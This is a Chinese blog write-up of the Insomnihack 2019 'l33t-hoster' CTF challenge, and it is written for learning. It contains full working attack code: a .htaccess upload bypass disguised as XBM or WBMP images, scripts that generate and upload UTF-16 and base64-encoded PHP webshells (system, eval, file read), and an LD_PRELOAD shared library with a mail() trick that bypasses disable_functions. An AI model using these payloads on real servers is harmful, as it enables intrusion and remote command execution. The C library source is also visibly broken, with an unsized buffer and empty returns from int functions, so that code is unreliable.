题目地址：

https://github.com/eboda/insomnihack/tree/master/l33t_hoster

源码如下:

<?php

if (isset($_GET["source"]))

    die(highlight_file(__FILE__));

session_start();

if (!isset($_SESSION["home"])) {

    $_SESSION["home"] = bin2hex(random_bytes(20));

}

$userdir = "images/{$_SESSION["home"]}/"; //用户上传文件的路径

if (!file_exists($userdir)) {

    mkdir($userdir);

}

$disallowed_ext = array(

    "php",

    "php3",

    "php4",

    "php5",

    "php7",

    "pht",

    "phtm",

    "phtml",

    "phar",

    "phps",

);

//限制了php文件上传，黑名单形式，那么肯定可以绕过

if (isset($_POST["upload"])) {

    if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {

        die("yuuuge fail");

    }

    $tmp_name = $_FILES["image"]["tmp_name"];

    $name = $_FILES["image"]["name"];

    $parts = explode(".", $name);

    $ext = array_pop($parts); //array_pop删除数组最后一个元素并返回该元素

    if (empty($parts[0])) {

        array_shift($parts); //删除数组第一个元素并返回该元素

    }

    if (count($parts) === 0) {

        die("lol filename is empty");

    }

    if (in_array($ext, $disallowed_ext, TRUE)) {

        die("lol nice try, but im not stupid dude...");

    }

    $image = file_get_contents($tmp_name);

    if (mb_strpos($image, "<?") !== FALSE) {

        die("why would you need php in a pic.....");

    }

    if (!exif_imagetype($tmp_name)) {

        die("not an image.");

    }

    $image_size = getimagesize($tmp_name);

    if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {

        die("lol noob, your pic is not l33t enough");

    }

    $name = implode(".", $parts);

    move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);

}

echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>";

foreach(glob($userdir . "*") as $file) {

    echo "<li><a href='$file'>$file</a></li>";

}

echo "</ul>";

?>

<h1>Upload your pics!</h1>

<form method="POST" action="?" enctype="multipart/form-data">

    <input type="file" name="image">

    <input type="submit" name=upload>

</form>

<!-- /?source -->

这道题首先可以上传.htaccess，那么此时就可以让服务器去解析任意后缀当作php执行，一步一步看

首先

    if (count($parts) === 0) {

        die("lol filename is empty");

    }

这一段代码判断$parts的值，但是如果上传.htacess，经过array_pop和array_shift将变成空数组，此时将无法向下执行，又因为程序是以.点分割，所以直接..htacess就可以绕过，即最后将拼接成.htaccess，我修改了一下代码，var_dump了一下$FILES数组，此时可以看看$FILES数组的内容：

接下来要绕过exif_imagetype()函数和getimagesize()函数，查一下这两个函数的用法

也就是将检查我们上传的文件，并返回一个常量，否则返回false，那我们要让.htaccess文件绕过它，就要针对它的检测特性去构造数据，因为它最终要返回常量，那我们就要让这个函数认为.htaccess为一个合法的图像类型

其中常量包括：

预期解法：

采用xbm格式，X Bit Map

在计算机图形学中，X Window系统使用X BitMap（XBM），一种纯文本二进制图像格式，用于存储X GUI中使用的光标和图标位图

XBM数据由一系列包含单色像素数据的静态无符号字符数组组成。当格式被普遍使用时，XBM通常出现在标题（.h文件）中，每个图像在标题中存储一个数组。以下C代码示例了一个XBM文件：

也就是用c代码来标识一个xbm文件，前两个#defines指定位图的高度和宽度（以像素为单位），比如以下xbm文件：

#define test_width 16

#define test_height 7

static char test_bits[] = {

0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,

0x00, 0x60 };

在这个c文件中高和宽都是有#在前面的，那么我们即使把它放在.htaccess文件中也不会影响.htaccess的实际运行效果，所以新的.htaccess文件内容如下

#define width 1337                          # Define the width wanted by the code (and say we are a legit xbitmap file lol)

#define height 1337                         # Define the height

AddType application/x-httpd-php .php16      # Say all file with extension .php16 will execute php

php_value zend.multibyte                   # Active specific encoding (you will see why after :D)

php_value zend.detect_unicode              # Detect if the file have unicode content

php_value display_errors                   # Display php errors

接下来可以上传php16了，那么对于上传的php要绕过其<?的过滤，目标服务器是php7.2那么<script>形式不行，这里使用了php内容的不同编码格式来bypass，只要把内容换个编码形式就好，作者用的是utf-16，

也就是说原来是utf-8一个字符一个字节，现在utf-16是两个字节编码一个字符，那么明显可以绕过内容的过滤，下面给出作者的exp：

#!/usr/bin/python3

# Description : create and bypass file upload filter with .htaccess

# Author : Thibaud Robin

# Will prove the file is a legit xbitmap file and the size is 1337x1337

SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):

    phpfile = open(filename, 'wb') 

    phpfile.write(script.encode('utf-16be'))

    phpfile.write(SIZE_HEADER)

    phpfile.close()

def generate_htacess():

    htaccess = open('..htaccess', 'wb')

    htaccess.write(SIZE_HEADER)

    htaccess.write(b'AddType application/x-httpd-php .php16\n')

    htaccess.write(b'php_value zend.multibyte 1\n')

    htaccess.write(b'php_value zend.detect_unicode 1\n')

    htaccess.write(b'php_value display_errors 1\n')

    htaccess.close()

generate_htacess()

generate_php_file("webshell.php16", "<?php system($_GET['cmd']); die(); ?>")

generate_php_file("scandir.php16", "<?php echo implode('\n', scandir($_GET['dir'])); die(); ?>")

generate_php_file("getfile.php16", "<?php echo file_get_contents($_GET['file']); die(); ?>")

generate_php_file("info.php16", "<?php phpinfo(); die(); ?>")

脚本理解起来很简单，就是添加xbm图片标志头，然后添加.htaccess的文件内容，然后生成utf-16大端编码的shell，但是实际上这里system是被diable的

作者到一部已经结束了，接下来看看非预期解。

非预期解：

直接从bypass以下这部分代码开始看：

    if (!exif_imagetype($tmp_name)) {

        die("not an image.");

    }

    $image_size = getimagesize($tmp_name);

    if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {

        die("lol noob, your pic is not l33t enough");

    }

这时候作者直接想到：

如果强行加magic number是不能被正确解析的,可以加注释#,但是没有magic number为#。感觉到这时候可以fuzz了。

作者这里去看了php的源码，并用以下的文件标志头去测试服务器的反应，

但是发现ico的长度最多是0xff，为1337是0x539，jp2 只修改header不能改变getimagesize的结果。

然后查到了wbmp，也是一个bitmap图片，和预期解法一样也是bitmap，都是一种图片文件构成简单的图片，但是往往这种能绕过检查，因为容错性比较高，地址为：https://en.wikipedia.org/wiki/Wireless_Application_Protocol_Bitmap_Format

图片绕过以后，就可以bypass内容检查<?,这里只要使用php的过滤器即可，作者用的是base64编码，用其他的肯定也可以，只要添加下面这一行即可，那么在访问.htaccess同目录下的某个文件时，自动使用base64解码

php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"

这里放一下作者上传.htaccess以及shell的exp：

import requests

import base64

url = "http://35.246.234.136/?"

header = {"Cookie":"PHPSESSID=58eshi3a265dguf0icnkc6qk5a"}

htaccess = b"""\x00\x00\x8a\x39\x8a\x39

AddType application/x-httpd-php .wuwu

php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/images/e694a9e3c406b3d8b247d73836958f6303ed7b72/shell.wuwu"

"""

shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")

files = [('image',('..htaccess',htaccess,'application/octet-stream'))]

data = {"upload":"Submit"}

proxies = {"http":"http://127.0.0.1:8080"}

print("upload .htaccess")

r = requests.post(url=url, data=data, files=files,headers=header)#proxies=proxies)

# print(r.text) 

print("upload shell.wuwu")

files = [('image',('shell.wuwu',shell,'application/octet-stream'))]

r = requests.post(url=url, data=data, files=files,headers=header)

接下来到bypass_disfunction的时候了：

这里学到一招，可以先用

var_dump(get_defined_functions());

去查看一下当前运行环境能够执行的函数，因为disable_function执行以后，被禁用的函数在程序运行开始就不会加载进来，这里mail函数没有过滤，所以可以结合mail和LD_PRELOAD来bypass，这里又学到了，

先放共享库的c程序：

/* compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */

#include <stdlib.h>

#include <stdio.h>

#include <string.h> 

void payload(char *cmd) {

  char buf[];

  strcpy(buf, cmd);

  strcat(buf, " > /tmp/_0utput.txt");

  system(buf);

} 

int  geteuid() {

  char *cmd;

  if (getenv("LD_PRELOAD") == NULL) { return ; }

  unsetenv("LD_PRELOAD");

  if ((cmd = getenv("_evilcmd")) != NULL) {

    payload(cmd);

  }

  return ;

}

这里的cmd实际上是个动态的cmd，即每次取环境变量_evilcmd里面的值来执行，所以只需上传一次so，就可以通过shell执行多个命令，因为这里是不回显结果的，所以直接写到txt里面，接下来是对应的shell:，然后使用脚本进行上传：

import requests

url = "http://localhost:8000/images/94437454acff7e0a5e8f239d8c5d0e698e84a4e0/webshell.php16"

param = {"cmd":"move_uploaded_file($_FILES['file']['tmp_name'],'/tmp/seu.so');echo 'ok';var_dump(scandir('/tmp'));"}

files = [('file',('seu.so',open("seu.so","rb"),'application/octet-stream'))]

r = requests.post(url=url, files=files, params=param)

print(r.text)

对于这种没有回显的命令，我们可以输出一点东西，证明的确命令执行成功

执行完以后，然后上传shell：

import requests

url = "http://localhost:8000/images/94437454acff7e0a5e8f239d8c5d0e698e84a4e0/webshell.php16"

param = {"cmd":"move_uploaded_file($_FILES['file']['tmp_name'],'/var/www/html/images/94437454acff7e0a5e8f239d8c5d0e698e84a4e0/shell.php');echo 'ok';var_dump(scandir('/var/www/html/images/94437454acff7e0a5e8f239d8c5d0e698e84a4e0'));"}

files = [('file',('shell.php',open("shell.php","rb"),'application/octet-stream'))]

r = requests.post(url=url, files=files, params=param)

print(r.text)

<?php

$r1 = putenv("LD_PRELOAD=/tmp/seu.so");

echo "putenv: $r1 <br>";

$cmd = $_GET['cmd'];

$r2 = putenv("_evilcmd=$cmd");

echo "putenv: $r2 <br>";

$r3 = mail("1@2", "", "", "","");

echo "mail: $r3 <br>";

highlight_file("/tmp/seu.txt");

?>

此时访问我们的shell.php，已经能够成功bypass

后面就不再看了，后面是通过perl管道来执行get_flag程序来读flag，直接像上传shell一样上传这个perl脚本然后perl run.pl执行就可以得到flag。

完整的wp在https://github.com/mdsnins/ctf-writeups/blob/master/2019/Insomnihack%202019/l33t-hoster/l33t-hoster.md

参考：

https://xz.aliyun.com/t/3937#toc-4

https://github.com/mdsnins/ctf-writeups/blob/master/2019/Insomnihack%202019/l33t-hoster/l33t-hoster.md

https://thibaudrobin.github.io/articles/bypass-filter-upload/

巴特西

Insomni’hack CTF-l33t-hoster复现分析

题目地址：

源码如下:

预期解法：

非预期解：

最新文章

热门文章